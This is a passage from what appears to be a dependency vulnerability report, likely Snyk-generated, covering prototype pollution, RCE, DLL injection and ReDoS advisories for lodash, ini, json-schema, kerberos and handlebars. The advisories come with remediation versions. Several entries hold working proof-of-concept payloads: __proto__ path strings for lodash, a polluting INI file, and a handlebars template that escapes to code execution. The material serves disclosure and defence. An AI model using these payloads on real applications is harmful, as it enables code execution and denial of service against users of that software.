are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade lodash
to version 4.17.12 or higher.
References
+-
+
- GitHub Issue +
- GitHub PR +
- GitHub PR +
- GitHub PR +
- Node Security Advisory +
- Snyk Blog +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
+Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep
can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
PoC
+const _ = require('lodash');
+ _.zipObjectDeep(['__proto__.z'],[123])
+ console.log(z) // 123
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade lodash
to version 4.17.20 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
+Affected versions of this package are vulnerable to Prototype Pollution via the setWith
and set
functions.
PoC by awarau
+-
+
- Create a JS file with this contents:
+lod = require('lodash') + lod.setWith({}, "__proto__[test]", "123") + lod.set({}, "__proto__[test2]", "456") + console.log(Object.prototype) +
+ - Execute it with
node
+ - Observe that
test
andtest2
is now in theObject.prototype
.
+
Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade lodash
to version 4.17.17 or higher.
References
+-
+
- HackerOne Report +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
+Affected versions of this package are vulnerable to Prototype Pollution. The functions merge
, mergeWith
, and defaultsDeep
could be tricked into adding or modifying properties of Object.prototype
. This is due to an incomplete fix to CVE-2018-3721
.
Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade lodash
to version 4.17.11 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
- NPM Security Advisory +
- NPM Security Advisory +
- NPM Security Advisory +
- NPM Security Advisory +
- POC: HackerOne Report +
+ + + +
DLL Injection
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+Affected versions of this package are vulnerable to DLL Injection. An attacker can execute arbitrary code by creating a file with the same name in a folder that precedes the intended file in the DLL path search.
+Remediation
+Upgrade kerberos
to version 1.0.0 or higher.
References
+-
+
- NPM Security Advisory +
- PoC +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+Affected versions of this package are vulnerable to Prototype Pollution via the validate
function, which when given a special payload will pollute Object
with undesired attributes.
Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade json-schema
to version 0.4.0 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+ini is an An ini encoder/decoder for node
+Affected versions of this package are vulnerable to Prototype Pollution. If an attacker submits a malicious INI file to an application that parses it with ini.parse
, they will pollute the prototype on the application. This can be exploited further depending on the context.
PoC by Eugene Lim
+payload.ini
+[__proto__]
+ polluted = "polluted"
+
+ poc.js:
+var fs = require('fs')
+ var ini = require('ini')
+
+ var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
+ console.log(parsed)
+ console.log(parsed.__proto__)
+ console.log(polluted)
+
+ > node poc.js
+ {}
+ { polluted: 'polluted' }
+ { polluted: 'polluted' }
+ polluted
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade ini
to version 1.3.6 or higher.
References
+ + ++ + + +
Remote Code Execution (RCE)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+handlebars is an extension to the Mustache templating language.
+Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.
+POC
+<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script>
+ <script>
+ // compile the template
+ var s = `
+ {{#with (__lookupGetter__ "__proto__")}}
+ {{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}}
+ {{#with ../constructor.prototype}}
+ {{../../constructor.defineProperty . "hasOwnProperty" ..}}
+ {{/with}}
+ {{/with}}
+ {{/with}}
+ {{#with "constructor"}}
+ {{#with split}}
+ {{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}}
+ {{#with .}}
+ {{#with (concat (lookup join (slice 0 1)))}}
+ {{#each (slice 2 3)}}
+ {{#with (apply 0 ../..)}}
+ {{.}}
+ {{/with}}
+ {{/each}}
+ {{/with}}
+ {{/with}}
+ {{/with}}
+ {{/with}}
+ `;
+ var template = Handlebars.compile(s, {
+ strict: true
+ });
+ // execute the compiled template and print the output to the console console.log(template({}));
+ </script>
+
+ Remediation
+Upgrade handlebars
to version 4.7.7 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+handlebars is a extension to the Mustache templating language.
+Affected versions of this package are vulnerable to Prototype Pollution.
+ Templates may alter an Object's __proto__
and __defineGetter__
properties, which may allow an attacker to execute arbitrary code on the server through crafted payloads.
Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade handlebars
to version 4.3.0, 3.0.8 or higher.
References
+-
+
- + +
- + +
- + +
- + +
- + +
+ + + +
Denial of Service (DoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+handlebars is an extension to the Mustache templating language.
+Affected versions of this package are vulnerable to Denial of Service (DoS). The package's parser may be forced into an endless loop while processing specially-crafted templates, which may allow attackers to exhaust system resources leading to Denial of Service.
+Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade handlebars
to version 4.4.5 or higher.
References
+ + ++ + + +
Arbitrary Code Execution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+handlebars is an extension to the Mustache templating language.
+Affected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.
+Remediation
+Upgrade handlebars
to version 4.5.3, 3.0.8 or higher.
References
+ + ++ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+handlebars is an extension to the Mustache templating language.
+Affected versions of this package are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.
+Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
